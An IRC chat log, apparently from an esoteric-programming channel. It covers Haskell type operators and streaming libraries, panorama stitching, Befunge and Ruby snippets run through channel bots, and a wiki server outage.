22:19:41 <fizzie> Yeah, there was a bit of an accident there.
22:20:12 <fizzie> I had set the camera to manual exposure but forgot ISO to auto.
22:21:13 <fizzie> That makes it do its usual exposure calculations but use the ISO setting as the only free parameter to achieve what it thinks is good.
22:22:20 <fizzie> In this case, "good" had quite blown-out highlights in the sand, and Hugin's photometric optimilization thing has just brought the overall level down to match the neighbor.
22:24:37 <int-e> in any case it works amazingly well
22:24:59 <fizzie> It's a full 360 degrees, so I probably should've put the wraparound point at that seam, actually. Then it would be less noticeable.
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22:25:52 <int-e> I can't even find some of the seams when I'm looking for them.
22:27:52 <fizzie> These were all handheld. With a tripod and a panorama head configured to rotate around the correct no-parallax point, it's really hard to find any seams, unless there's been some motion.
22:29:45 <int-e> I'm really surprised about how well the close water surface worked)
22:30:52 <int-e> I mean without the arrows, http://int-e.eu/~bf3/tmp/waterseam.jpg would probably not look odd at all, unless you stare at it for a while.
22:31:18 <int-e> and that's a small detail of the big picture :)
22:32:13 <fizzie> https://www.flickr.com/photos/fizzief/9246704558/in/set-72157634561814470 is an indoor scene (so lots of potential parallax motion) made out of 48 shots (3 rows of 16 directions) with a tripod and a hand-made panorama head (and a different camera).
22:33:25 <fizzie> The automatic control point finding did have some trouble when given two photos of a more or less blank white wall, though.
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22:41:06 <oerjan> <coppro> myname: operators which start with : are reserved for types <-- actually that is no longer true, the : requirement was removed. (the slight downside is you no longer can use operator type _variables_.)
22:41:39 <oerjan> @let data a + b = a :+ b
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22:41:51 <lambdabot> Not in scope: data constructor ‘Int’
22:41:51 <lambdabot> ‘In’ (imported from Lambdabot.Plugin.Haskell.Eval.Trusted),
22:42:15 <lambdabot> defined at /home/lambda/.lambdabot/State/L.hs:161:16
22:42:30 <fizzie> "It could refer to either X."
22:42:35 <oerjan> figures it was already used for something.
22:42:58 <oerjan> oh i should have remembered that one
22:43:17 <oerjan> @let data a + b = A a | B b
22:43:49 <oerjan> note that the : requirement still holds for _data_ constructor operators.
22:44:19 <oerjan> @tell coppro <coppro> myname: operators which start with : are reserved for types <-- actually that is no longer true, the : requirement was removed. (the slight downside is you no longer can use operator type _variables_.)
22:45:21 <oerjan> with all the kind promotion and stuff the syntax is getting messy.
22:46:13 <lambdabot> Illegal type: ‘'[Int]’ Perhaps you intended to use DataKinds
22:46:32 <oerjan> int-e: WHY YOU MISSING EXTENSIONS
22:46:50 <oerjan> turn everything safe on, i say
22:47:05 <oerjan> (i sincerely _hope_ DataKinds are Safe)
22:47:15 <coppro> oerjan: oh, I thought that was still only a proposal
22:47:31 <coppro> oerjan: also I'm right here you know
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22:48:34 <oerjan> coppro: you said nothing, and i don't trust people who have been idle for > 30 minutes and who say nothing not to ping out before they see my message. except quintopia by special request.
22:49:34 <Melvar> > :let data a + b = A a | B b
22:49:36 <lambdabot> <hint>:1:1: parse error on input ‘:’
22:49:45 <Melvar> ( :let data a + b = A a | B b
22:50:07 <oerjan> i am not sure my memory has room for more than one person on the request list. we'll see.
22:50:21 <idris-bot> When elaborating an application of constructor __infer:
22:50:25 <fizzie> oerjan: It will be interesting to see if it's a stack or a queue.
22:50:43 <idris-bot> command not recognized or not supported
22:51:31 -!- not^v has joined.
22:51:35 <idris-bot> Prelude.Classes.(+) : Num a => a -> a -> a
22:51:35 <idris-bot> Prelude.Fin.(+) : Fin n -> Fin m -> Fin (n + m)
22:51:52 <oerjan> i saw linked a mention on twitter i think that they're putting Foldable and Traversable into the Prelude. which is natural once Applicative goes in there, i guess.
22:52:13 <oerjan> although i've only seen that one mention yet, so am not entirely trusting it.
22:52:24 <Melvar> Evidently datadecl parsing is broken, in a way …
22:53:08 <int-e> oerjan: there are too many of them
22:53:47 <oerjan> it would be funny if ghc ran out of some limit if you tried to enable all extensions
22:55:20 <oerjan> ooh i know. except i need to be sure it doesn't ping people...
22:55:37 <HackEgo> bin/danddreclist \ bin/emptylist \ bin/erflist \ bin/list \ bin/llist \ bin/makelist \ bin/mlist \ bin/olist \ bin/pbflist \ bin/slist \ bin/smlist \ bin/testlist
22:56:05 -!- Bicyclidine has quit (Ping timeout: 260 seconds).
22:56:08 <oerjan> `makelist dontaskdonttelllist
22:57:50 -!- mihow has quit (Quit: mihow).
22:58:54 <oerjan> `run (echo 'quin topia'; echo 'cop pro') | sed 's/ //g' >bin/dontaskdonttelllist
22:59:10 <HackEgo> /home/hackbot/hackbot.hg/multibot_cmds/lib/limits: line 5: exec: oops: not found
22:59:22 <oerjan> `run (echo 'quin topia'; echo 'cop pro') | sed 's/ //g' >>bin/dontaskdonttelllist
22:59:31 <HackEgo> dontaskdonttelllist: quintopia coppro
23:00:33 <oerjan> is that successfully not pinging you
23:00:56 <oerjan> hm i suppose i could make that automatic
23:01:08 <oerjan> `cat bin/dontaskdonttelllist
23:01:09 <HackEgo> echo -n "$(basename "$0")${@:+ }$@: "; tail -n+2 "$0" | xargs; exit \ quintopia \ coppro
23:02:58 -!- Bicyclidine has joined.
23:03:43 <oerjan> myname: i don't remember
23:06:26 <oerjan> `run echo ' ' | sed 's/ /./'
23:07:22 -!- Bicyclidine has quit (Ping timeout: 240 seconds).
23:07:40 <oerjan> `run sed -i 's/xargs/sed 's/1/
23:07:41 <HackEgo> sed: -e expression #1, char 16: unknown option to `s'
23:08:04 <oerjan> `run echo ' ' | sed 's/ /1/'
23:09:28 <oerjan> `run sed -i "s,xargs,sed 's/./\\1/' | xargs," bin/dontaskdonttelllist
23:09:29 <HackEgo> sed: -e expression #1, char 33: invalid reference \1 on `s' command's RHS
23:09:48 <oerjan> `run sed -i "s,xargs,sed 's/\\(.\\)/\\1/' | xargs," bin/dontaskdonttelllist
23:09:48 <HackEgo> sed: -e expression #1, char 37: invalid reference \1 on `s' command's RHS
23:10:47 <oerjan> `run echo ' ' | sed 's/ /&/'
23:11:55 <Melvar> `run echo ' ' | sed 's/ /\&/'
23:12:42 <oerjan> Melvar: i don't think you see what that did hth
23:12:59 <oerjan> `run echo ' ' | sed 's/ /\&/'
23:13:15 <Melvar> & on the RHS means the whole match.
23:14:00 <oerjan> `run sed -i "s,xargs,sed 's/./\\\&' | xargs," bin/dontaskdonttelllist
23:14:05 <Melvar> Whoops, misread, no I probably didn’t then.
23:14:11 <oerjan> `cat bin/dontaskdonttelllist
23:14:11 <HackEgo> echo -n "$(basename "$0")${@:+ }$@: "; tail -n+2 "$0" | sed 's/./\xargs' | xargs; exit \ quintopia \ coppro
23:15:36 <oerjan> `cat bin/dontaskdonttelllist
23:15:36 <HackEgo> echo -n "$(basename "$0")${@:+ }$@: "; tail -n+2 "$0" | xargs; exit \ quintopia \ coppro
23:16:08 <oerjan> `run sed -i "s,xargs,sed 's/./\\\\\\&' | xargs," bin/dontaskdonttelllist
23:16:14 <oerjan> `cat bin/dontaskdonttelllist
23:16:15 <HackEgo> echo -n "$(basename "$0")${@:+ }$@: "; tail -n+2 "$0" | sed 's/./\&' | xargs; exit \ quintopia \ coppro
23:16:37 <HackEgo> dontaskdonttelllist: sed: -e expression #1, char 9: unterminated `s' command
23:17:11 <oerjan> `run sed -i "s,xargs,sed 's/./\\\\\\&/' | xargs," bin/dontaskdonttelllist
23:17:17 <HackEgo> dontaskdonttelllist: &uintopia &oppro
23:19:49 <oerjan> `run sed -i "s,xargs,sed 's/./\\\\\\\&/g' | xargs," bin/dontaskdonttelllist
23:19:54 <HackEgo> dontaskdonttelllist: xargsxargsxargsxargsxargsxargsxargsxargsxargsxargs xargsxargsxargsxargsxargsxargsxargs
23:21:38 <oerjan> `run sed -i "s,xargs,sed 's/./\\\\\\\&/g' | xargs," bin/dontaskdonttelllist
23:21:49 <oerjan> `cat bin/dontaskdonttelllist
23:21:49 <HackEgo> echo -n "$(basename "$0")${@:+ }$@: "; tail -n+2 "$0" | sed 's/./\\xargs/g' | xargs; exit \ quintopia \ coppro
23:22:25 <oerjan> `run sed -i "s,xargs,sed 's/./\\\\\\&/g' | xargs," bin/dontaskdonttelllist
23:22:29 <oerjan> `cat bin/dontaskdonttelllist
23:22:30 <HackEgo> echo -n "$(basename "$0")${@:+ }$@: "; tail -n+2 "$0" | sed 's/./\&/g' | xargs; exit \ quintopia \ coppro
23:22:52 <oerjan> ok wtf was that the right number
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23:23:48 <oerjan> `run sed -i "s,xargs,sed 's/./\\\&/g' | xargs," bin/dontaskdonttelllist
23:23:54 <oerjan> `cat bin/dontaskdonttelllist
23:23:54 <HackEgo> echo -n "$(basename "$0")${@:+ }$@: "; tail -n+2 "$0" | sed 's/./\xargs/g' | xargs; exit \ quintopia \ coppro
23:24:07 <oerjan> `run sed -i "s,xargs,sed 's/./\\\\&/g' | xargs," bin/dontaskdonttelllist
23:24:11 <oerjan> `cat bin/dontaskdonttelllist
23:24:11 <HackEgo> echo -n "$(basename "$0")${@:+ }$@: "; tail -n+2 "$0" | sed 's/./\xargs/g' | xargs; exit \ quintopia \ coppro
23:24:39 <oerjan> `run sed -i "s,xargs,sed 's/./\\&/g' | xargs," bin/dontaskdonttelllist
23:24:44 <oerjan> `cat bin/dontaskdonttelllist
23:24:44 <HackEgo> echo -n "$(basename "$0")${@:+ }$@: "; tail -n+2 "$0" | sed 's/./&/g' | xargs; exit \ quintopia \ coppro
23:24:57 <HackEgo> dontaskdonttelllist: quintopia coppro
23:28:15 <oerjan> `run sed -i '2,3s&&&' bin/dontaskdonttelllist
23:28:17 <HackEgo> sed: -e expression #1, char 0: no previous regular expression
23:28:44 <oerjan> `run sed -i '2,3sdontaskdonttelllist' bin/dontaskdonttelllist
23:28:45 <HackEgo> sed: -e expression #1, char 23: unterminated `s' command
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23:29:18 <oerjan> `run sed -i '2,3s&&&' bin/dontaskdonttelllist
23:29:27 <HackEgo> dontaskdonttelllist: quintopia coppro
23:33:49 <oerjan> oh right the shell doesn't treat & specially in strings
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23:34:10 <oerjan> that's why my escaping guesses were off by one
23:34:54 <oerjan> coppro: did any of this HackEgo mess ping you?
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23:51:10 <oerjan> @tell TieSoul i hope your rb> command isn't unsecured
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00:39:29 <Sgeo> Why are the popular Haskell streaming libraries all pull based?
00:48:29 <int-e> inspired by lazy evaluation
01:08:35 <oerjan> Sgeo: istr pipes has both pull- and push-based combinators...
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01:11:36 <oerjan> http://hackage.haskell.org/package/pipes-4.1.2/docs/Pipes-Core.html#g:5
01:13:16 <Sgeo> oerjan: but pull is te one exposed by default, and preferred for end users... if I start using push, might that not mix well with the majority of pipes in the ecosystem which are likely pull?
01:14:40 <oerjan> pull is what you want for interactive use, anyway.
01:27:10 <Sgeo> Hypothetically, I have a source of data that I am receiving from an event handler. I could put it in some sort of STM channel or queue, but that risks either hitting a bound or using unbounded memory
01:27:28 <Sgeo> What do you mean interactive use?
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01:32:34 <shachaf> double letters are still a bit tricky for me :'(
01:33:07 <shachaf> maybe esp. double vowels at the end of a word
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01:56:57 <oerjan> Sgeo: anything where the input is user commands and the user wants to see the output before giving the next one
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02:12:04 <coppro> ok I am going to write the automaton library to end all automaton libraries
02:12:13 <coppro> probably because it goes insane and murders them in its sleep or something
02:25:49 <Sgeo> Is something like stm-conduit an adequate solution?
02:36:08 <Sgeo> Looks like in the pipes world it's what pipes-concurrent is for
02:36:20 <Sgeo> Which seems like basically the same thing but simpler... except for that performGC thing
02:47:23 * oerjan should maybe point out he's never got to use pipes for anything and haven't even installed (afahk) conduit.
02:48:24 <Sgeo> I should probably wipe my Haskell install, install new Platform, and get EclipseFP working
03:00:51 <oerjan> wow, xkcd "time" won a hugo
03:04:25 <elliott_> for a work that is basically impossible to read in its original format :P
03:04:41 <Bike> best graphic story, well that makes sense
03:04:49 <oerjan> elliott_: i'm reading it in today's girl genius (the foglios were otherwise among the obvious favorites)
03:05:13 <Bike> best novella was stross
03:05:27 <Bike> best film is gravity, eh
03:05:50 <quintopia> oerjan: yeah i thought that fact was pretty cool too.
03:05:59 <Bike> "BEST SEMIPROZINE"
03:06:10 <quintopia> it was a good sci-fi tale after all
03:06:21 <quintopia> speculativ3e i guess is the better word
03:31:24 * oerjan is reading the chat archive on the hugo site and apparently cory doctorow accepted the award for munroe
03:32:15 <oerjan> Mur Lafferty: Cory dons the cape and goggles
03:32:49 <oerjan> ...why would you put newlines between fields displayed on the same line...
03:36:02 <oerjan> https://twitter.com/Jourdan_Cameron/status/501104457577668609
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04:59:52 <oerjan> i am looking at this SO question http://stackoverflow.com/questions/25540407/median-of-a-list-of-haskell-records#25540407
05:00:30 <oerjan> and i am suddenly imagining this as use case for "applicals": forall f. Traversable f => (f a -> b) -> (f s -> t)
05:00:41 <oerjan> has anyone thought of those yet
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05:03:46 <Sgeo> What is this uniplate thing anyway?
05:05:04 <oerjan> a generic programming package for haskell
05:06:08 <oerjan> there's a lens interface for it
05:06:16 <oerjan> or possibly reimplementation
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05:07:58 <oerjan> hm Functor would also suffice for that use case
05:08:27 <oerjan> is that a colens then?
05:09:36 <oerjan> except those are supposed to be prisms
05:10:56 <oerjan> hm those co-/representable things...
05:13:10 <oerjan> or they need mono-applicative...
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05:51:43 <shachaf> lens has an implementation of a big part of uniplate in lensy terms
05:51:49 <shachaf> (which allow it to be more efficient)
05:52:15 <fizzie> taka, takka, taakka, takaa; all entirely different words.
05:52:39 <shachaf> oerjan: "forall g. ... g => (g a -> b) -> g s -> t" doesn't turn out to be very useful.
05:52:53 <shachaf> All it can do is return different ts.
05:53:33 <shachaf> But you can write "forall f g. (... f, ... g) => (g a -> f b) -> g s -> f t", and that's more useful.
05:54:10 <shachaf> (Copointed g, Strong f) gives you a lens, and (Costrong g, Pointed f) gives you a prism (i.e. a colens)
05:54:16 <shachaf> (Strong is just Functor in Haskell)
05:54:51 <shachaf> Of course, once you do that, you might as well go all the way to "forall p. p a b -> p s t", which is much nicer.
05:55:02 <shachaf> (With a constraint on p, of course.)
05:55:45 <shachaf> You can always pick p x y = g x -> f y, but there are usually better choices.
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06:09:14 <oerjan> shachaf: well it is somewhat important that it be able to be used in that SO problem.
06:10:08 <oerjan> although i just realized you can only really make that work if the data type is isomorphic to e -> Double, which is iirc what representable means
06:10:37 <shachaf> i always forget which one is commonly referred to as representable and which one as corepresentable
06:10:48 <shachaf> it doesn't help that edwardk switched them at one point
06:10:55 <oerjan> just do like me and never learn it hth
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06:37:47 <Lymia> !bfjoust srsly ((-)*6>[-----[.+]]--)*100000
06:38:21 <Lymia> Er... does this still work? :P
06:41:42 <Lymia> Sorry, was (trying to) test an evolver for terminal stupidity
06:48:16 <fizzie> EgoBot has been out to lunch for quite a while now.
06:48:26 <fizzie> And Gregor also, so it's hard to get an ETA for repairs.
06:49:53 <fizzie> ("Quite a while" == "since 2014-08-19" for Egobot, "since 2014-08-08" for Gregor.)
06:55:30 <fizzie> It's bots all the way up.
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07:28:52 <Sgeo> Why does conduit have =$= vs $$ while pipes just has >-> ?
07:29:08 <Sgeo> Something to do with runEffect that Pipes requires?
07:30:37 <coppro> Sgeo: $$ is essentially a special case of =$=. $$ fuses a source and a sink together
07:30:42 <coppro> it's just for aesthetics
07:30:56 * Sgeo prefers the aesthetics of one operator
07:35:49 <Sgeo> But that would probably be considered ugly/unreadable by anyone reading my code
07:37:52 <Sgeo> "Gather output values asynchronously from an action in the base monad and then yield them downstream. This provides a means of working around the restriction that ConduitM cannot be an instance of MonadBaseControl in order to, for example, yield values from within a Haskell callback function called from a C library."
07:38:01 <Sgeo> That is pretty much literally my intended use case
07:50:01 <coppro> Sgeo: basically the idiom is to use $= to denote the source and =$ to denote the sink
07:50:19 <coppro> source $= filter =$= map =$= something =$ sink
07:50:31 <coppro> while this won't be enforced by the compiler any more, it is pretty
07:50:52 <Sgeo> Was under the impression the idiom was to throw a $$ somewhere in there
07:52:59 <coppro> $$ is used only if your source and sink are adjacent
07:53:28 <coppro> (although you can throw one in because depending on how you associate, any prefix is a source and any suffix is a sink)
07:53:38 <coppro> or maybe I'm totally wrong and I should shut up
07:53:45 <coppro> but more likely I'm right and the universe is wrong
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08:03:00 <Sgeo> Please tell Snoyman that he's using Conduit wrong https://gist.github.com/snoyberg/a422d558e9142e37d2aa
08:03:06 <Sgeo> I much prefer your convention
08:09:30 <coppro> https://twitter.com/scshunt/status/504888438441906177
08:09:53 <Sgeo> >.> I may not have meant that literally
08:10:36 <Sgeo> Although I still prefer your convention and/or the convention of just using one operator
08:16:51 <Sgeo> coppro: these don't look synonymous: http://hackage.haskell.org/package/conduit-1.2.0.2/docs/src/Data-Conduit-Internal-Conduit.html#%24%24
08:17:32 <Sgeo> As in, I think $$ is separate from the others
08:29:31 <Lymia> .. wow, I'm surprised my evolver works somewhat. It can't add instructions to an empty gene.
08:29:35 <Lymia> Can't believe I miseed that.
08:30:38 <fizzie> "Life finds a way," like they say.
08:33:16 <Lymia> Well, no, it can in a roundabout way.
08:33:18 <Lymia> But that roundabout way sucks.
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09:19:58 <coppro> Sgeo: hmm, now that I think of it, $$ might actually be required to get the pipe to execute
09:20:41 <coppro> Sgeo: but $$ desugars into connectResume eventually, which looks similar
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09:41:52 <b_jonas> so I found out why it's hard to write the introduction of my thesis. I have to write it in such a way that if a normal person reads it, they don't want to put it down because it all sounds abstract algebraic nonsense.
09:42:39 <b_jonas> If I started the introduction the way I want to start, then it would sound as abstract algebraic nonsense.
09:43:52 <coppro> what's your thesis topic? I am a mathematician so don't worry about being too layman-y, but be warned I'm going to go to bed as soon as I finish this sentence so I won't see your response until later
09:53:17 <b_jonas> coppro: it's graph chromatic number and similar invariants. it doesn't have to be layman-like, but it can't be such that only about that 1/e part of mathematicians that have an algebraist point of view can understand it well.
09:55:56 <b_jonas> I have at least two theorems where I will give the same proof in two different ways: one algebraist described with homomorphism stuff, and one more concrete.
10:08:29 <Jafet> Well, if the thesis is about abstract algebraic nonsense then the introduction should reflect it.
10:12:51 <b_jonas> it's about abstract nonsense, but combinatorial nonsense, not algebraic.
10:13:14 <b_jonas> I'm using algebra only as a tool to look at some of the questions differently.
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10:32:18 <HackEgo> [wiki] [[User:Rdococ]] N http://esolangs.org/w/index.php?oldid=40356 * Rdococ * (+9) Created page with "Err...Hi."
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14:51:41 <HackEgo> [wiki] [[Puzzlang]] http://esolangs.org/w/index.php?diff=40357&oldid=37025 * AndoDaan * (+148) /* Implementation */ Added mention and link to a Puzzlang interpreter.
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15:10:32 <DootBot> ["fungot", "DoofBot", "HackEgo", "YayBot", "idris-bot", "EgoBot", "lambdabot"]
15:10:32 <fungot> DootBot: you cram these words into mine ears, against the people who used to frequent and occasionally other nationalities too. :) in fact, at 5:30 :( and :) for the first
15:10:37 <TieSoul> any bots I should add to that?
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16:01:41 <TieSoul> I disabled it for everyone but me
16:02:41 <Bike> wow whatever happened to the first amendment
16:04:01 <TieSoul> it's not in the Three Laws of Robotics.
16:05:26 <elliott_> um, three laws of robotics say the robot has to calculate 123 for me unless it would harm another.
16:05:41 <Bike> wow wh atever happened to the first law of robotics
16:06:12 <elliott_> it's not even allowed to stop me, say, deleting all its code with rb>, since second law overrides third
16:06:16 <oerjan> it got decremented hth
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16:07:48 <Bike> er, second law, right
16:07:57 <elliott_> "These form an organizing principle and unifying theme for Asimov's robotic-based fiction, appearing in his Robot series, the stories linked to it, and his Lucky Starr series of young-adult fiction." who knew lucky star was based on asimov
16:08:19 <Bike> i can think of several animes using asimov explicitly, so hey
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16:13:36 <Jafet> Is it actually possible for something being possible to imply the possibility of nothing being possible?
16:18:38 <TieSoul> for example, the possibility of nothing being possible would, by definition, imply said possibility.
16:18:57 <oerjan> Jafet: that thing in the topic is a rephrasing of godel's theorem into modal logic
16:19:24 <oerjan> with possible = not disprovable, iiuc
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16:44:30 <Jafet> I was hoping it was something like that
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17:06:16 <oerjan> from Darths & Droids: "Leia: Oh... I totally should have seen this coming." :D
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17:12:15 <DootBot> TieSoul: what just DOOT! Balance! TOP] of. !praisehexil FOR MOAR concise? doot you comes 5?
17:12:21 <DootBot> TieSoul: TieSoul actually meant: HHeelllloo ddoooottbboott
17:13:02 <quintopia> did we just get another trigram based language model blather generator?
17:13:22 <Jafet> fungot does not blather.
17:13:22 <fungot> Jafet: it's just like mode... :( but i will certainly bought it on sale years a go
17:13:41 <TieSoul> It's markov chains (I think that's what it is)
17:13:43 <quintopia> Jafet: sorry. the word "babble" wouldn't come to mind
17:15:06 <TieSoul> !brainfuck ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++.
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17:17:42 <Jafet> If you think these bots are bad, note that clog spews pretty much the same garbage and then some.
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18:13:17 <DootBot> TieSoul: Regex /hey/ not found.
18:13:25 <DootBot> TieSoul: TieSoul actually meant: Hey
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18:14:27 <DootBot> TieSoul: TieSoul actually meant: Hey
18:14:49 <DootBot> TieSoul: TieSoul actually meant: Hey
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18:15:29 <TieSoul> oh, it's an off-by-one error
18:15:30 <quintopia> shouldn't it be insensitive by default?
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18:16:01 <DootBot> TieSoul: TieSoul actually meant: technically it shouldn't
18:16:10 <DootBot> TieSoul: TieSoul actually meant: techntestcally testt shouldn't
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18:38:35 <quintopia> fizzie: TieSoul is trying to replace fungot!
18:38:35 <fungot> quintopia: but pesoix could be done with shift reset. would you mind looking over my infix-to-prefix conversion guide? i can't
18:38:54 <quintopia> fungot: you don't even have one of those!
18:38:54 <fungot> quintopia: so something has to be some mixed information about it, and restricting it to 2003 gave it a name
18:46:26 <fizzie> fungot: What would yo do with an infix-to-prefix converter? Your language is so stacky.
18:46:27 <fungot> fizzie: " it has a kludge to implement the whole tower of control operators) was withdrawn, or was it some feature done " server-side"?
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19:03:25 <DootBot> TieSoul: TieSoul actually meant: testiiiiing testing 1 2 3
19:03:38 <DootBot> TieSoul: TieSoul actually meant: tteessttiiiiiiiiiinngg tteessttiinngg 11 22 33
19:03:59 <DootBot> TieSoul: TieSoul actually meant: nice iit works
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19:04:16 <DootBot> TieSoul: TieSoul actually meant: hey Lymia
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19:35:28 <fizzie> !befunge98 "4+3*2+1"0{2u$$> #;1u::'/`\':\`*;;#,_:!;@_,#! #:<;#$_11p;>$# ,#_ #\ #0 #! #` #g #1 #1 #: #;# :# _$11g;
19:36:01 <fizzie> fungot: Anyhow, there's an infix-to-RPN conversion for you hth
19:36:01 <fungot> fizzie: it's mildly educational, though. do you think its usable?
19:36:28 <fizzie> fungot: Well, I mean. It only does + and *. Possibly in very limited circumstances.
19:36:28 <fungot> fizzie: you're wasting good memory for things like remembering conversations and the like will not work right on that, imho.
19:36:52 <fizzie> fungot: Do you have to be so negative all the time?
19:36:52 <fungot> fizzie: the new images would cover throat cancer, rotting teeth/ gums and gangrenous feet. ashley fnord, chief advisor on public health, says written warnings aren't as effective as showing you some bad ass examples :)
19:38:47 <fizzie> Negative and just plain gross.
19:43:42 <fungot> Available: agora alice c64 ct darwin discworld enron europarl ff7 fisher fungot homestuck ic irc* iwcs jargon lovecraft nethack oots pa qwantz sms speeches ss wp youtube
19:44:21 <fizzie> This one, #scheme, and #douglasadams of IRCnet.
19:44:40 <fizzie> The latter is only something like 5% of the source material, so it's quite rarely seen.
19:45:26 <fizzie> Though that particular "gem" is a verbatim quote from there.
19:45:54 <fizzie> Except for the surname, and a few words in the end.
19:46:14 <fizzie> The original ended "-- aren't as effective as pictures." with no emoticon.
19:47:21 <fizzie> And that's originally from Wikipedia.
19:47:48 <fizzie> If you want, you can find one of those described images from the "New Zealand" subsection of the "Tobacco packaging warning messages" article, but I wouldn't.
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19:56:18 <DootBot> fizzie: 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 (Execution timed out.)
19:56:27 <fizzie> Oh, I forgot an @. (That was just testing.)
19:56:35 <fizzie> !befunge98 "4+3*2+1"0{2u$$> #;1u::'/`\':\`*;;#,_:!;@_,#! #:<;#$_11p;>$# ,#_ #\ #0 #! #` #g #1 #1 #: #;# :# _$11g;
19:56:59 <fizzie> It worked in cfunge. :/
19:57:22 <TieSoul> you somehow managed to get a nil on the stack.
19:57:44 <fizzie> It will try to 1u from an empty SOSS, at least.
19:57:58 <fizzie> Other than that, I don't think it does anything especially strange.
19:58:16 <fizzie> Some other stuff on an empty (top) stack, perhaps.
19:58:31 <fizzie> !befunge98 0"4+3*2+1"0{2u$$> #;1u::'/`\':\`*;;#,_:!;@_,#! #:<;#$_11p;>$# ,#_ #\ #0 #! #` #g #1 #1 #: #;# :# _$11g;
19:58:42 <fizzie> I'm guesstimating it's the 1u from an empty SOSS.
19:58:50 <fizzie> (That version just had an explicit 0 down there.)
19:59:33 <TieSoul> yup it's u from empty SOSS
19:59:53 <TieSoul> I forgot to add a clause for empty SOSS
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20:00:31 <TieSoul> !befunge98 0"4+3*2+1"0{2u$$> #;1u::'/`\':\`*;;#,_:!;@_,#! #:<;#$_11p;>$# ,#_ #\ #0 #! #` #g #1 #1 #: #;# :# _$11g;
20:00:47 <TieSoul> !befunge98 "4+3*2+1"0{2u$$> #;1u::'/`\':\`*;;#,_:!;@_,#! #:<;#$_11p;>$# ,#_ #\ #0 #! #` #g #1 #1 #: #;# :# _$11g;
20:04:19 <fizzie> If needed, one could make it free of p/g by replacing the middle "11p" with "01-u", the last "11g" with "1u" and the middle (#ified) "11g" with "1u:01-u".
20:21:42 <fizzie> !befunge98 "8*7+6*5|4+3*2+1"0{2u$$> #;1u::'/`\':\`*;;#,_:!;@_,#! #:<;#$_11p;>$# ,#_ #\ #0 #! #` #g #1 #1 #: #;# :# _$11g;
20:21:46 <fizzie> Saying that it only does + and * was a bit of a misnomer, since any non-digit character is an operator with unique precedence based on ASCII order.
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20:42:47 <fizzie> "No route to host" for SSH.
20:42:56 <fizzie> Perhaps CloudAtCocks struck again.
20:43:21 <fizzie> I'll have a closer look soon, though if it is, there's not much I can do, except try to motivate myself to move the thign.
20:45:17 <atriq> There's a webhosty thing in York that seem pretty at least open when things go awry
20:48:23 <atriq> (why am i advertising them)
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20:54:31 <fizzie> I've heard reasonable things about DigitalOcean.
20:54:40 <fizzie> And I have my own stuffs running on Tilaa.
20:56:41 <impomatic_> The esolang wiki seems to be down here. Also gregor's logging.
20:56:56 <fizzie> We were just talking about the former.
20:57:03 <fizzie> The logging has been down a bit longer.
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20:57:55 <fizzie> HackEgo ping-timeouted about 5.5 hours ago, I assume that was related.
20:58:02 <impomatic_> 10 days for logging. I hope it's stored somewhere and will uploaded at some point. (It's the only logging we have on #corewars)
20:58:18 <fizzie> glogbackup seems to be up.
20:58:31 <fizzie> But I don't think Gregor has ever merged glogbackup logs.
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20:59:13 <impomatic_> Oh. Are the glogbackup logs located somewhere else?
20:59:35 <fizzie> I don't think they are publicly available, though I could be wrong.
21:00:05 <fizzie> AIUI, the idea is that they would be merged into the normal glog logs when the service is restored.
21:00:45 <fizzie> I really wouldn't want to go (again) through all the hassle to set up the temporary read-only esolangs.org page, if this is just a temporary blip.
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21:03:13 <fizzie> Nothing particularly recent about cloudatcost in the Twittosphere (unlike the last time). It's just not worky.
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21:04:27 <fizzie> On Gregor's account, with myself as the person looking after the MediaWiki installation.
21:04:41 <DootBot> TieSoul: 100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000... (Too much output)
21:04:54 <fizzie> But I don't have cloudatcost control panel/console level access, so I can't try to see what's up there.
21:05:05 <TieSoul> rb> (0..1000).to_a.inject(:*)
21:05:10 <TieSoul> rb> (1..1000).to_a.inject(:*)
21:05:10 <DootBot> TieSoul: 402387260077093773543702433923003985719374864210714632543799910429938512398629020592044208486969404800479988610197196058631666872994808558901323829669944590997424504087073759918823627727188732519779505... (Too much output)
21:06:28 <atriq> Gregor seems to be online on IRC, he's whois-ing strongly
21:07:04 <fizzie> "idle 1 days 21 hours 43 mins 45 secs" does not fill me with confidence.
21:09:33 <atriq> I can ping him on Facebook?
21:11:21 <fizzie> Hunt him down like a wounded deer.
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22:02:12 <DootBot> TieSoul: ["wait... this is typed?", "wait... this is typed?", "wait... this is typed?", "wait... this is typed?", "wait... this is typed?", "wait... this is typed?", "wait... this is typed?", "wait... this is typed?", "wait... this is typed?", "wait... this is typed?", "wait... this is typed?", "wait... this ... (Too much output)
22:02:17 <TieSoul> someone in the other channel did this
22:02:34 <TieSoul> rb> $".map {|x| x.length}.inject(:+)
22:05:32 <atriq> TieSoul: is that Ruby?
22:05:58 <TieSoul> Almost completely secure sandbox though
22:06:05 <atriq> In the words of one of my friends, who was heavily inebriated at the time but still decided to go on IRC, "dat ruby"
22:06:31 <atriq> (of course, he was talking about an excerpt of Clojure)
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23:13:19 <oerjan> bah norwegian apples, dark red outside, sour inside
23:13:50 <oerjan> (i bought them because they're currently the reddest in the shop, because i _don't_ like sour apples)
23:14:08 <atriq> oerjan: I like the confectionary known as sour apples
23:15:04 * oerjan decides to get some bread instead
23:15:12 <atriq> They are very sour
23:15:28 <atriq> And small (about half an inch in diameter) and green
23:18:13 <oerjan> it sounds like the kind of thing i'd never try voluntarily :D
23:18:40 <atriq> I used to have too many at once and end up with a blister on my tongue
23:18:48 <atriq> Anyway, I'm heading to bed now, goodnight!
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01:37:48 -!- oerjan has set topic: All glogged up again | brainfuck survey: https://www.surveymonkey.com/s/L82SNZV | https://dl.dropboxusercontent.com/u/2023808/wisdom.pdf http://codu.org/logs/_esoteric/ http://tunes.org/~nef/logs/esoteric/ | If something is possible, then it's possible that nothing is possible. | 987659473857929758374956789.
01:39:48 <Gregor> I genuinely have no clue why it wasn't on...
01:40:10 <oerjan> out taking over the world maybe?
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01:48:55 <oerjan> @check \f g x -> ((maybeToList . ((f :: Bool -> [()]) <=< g)) (x::())) == ((maybeToList . f) <=< (maybeToList . g)) x
01:48:56 <lambdabot> Couldn't match type ‘[]’ with ‘Data.Maybe.Maybe’
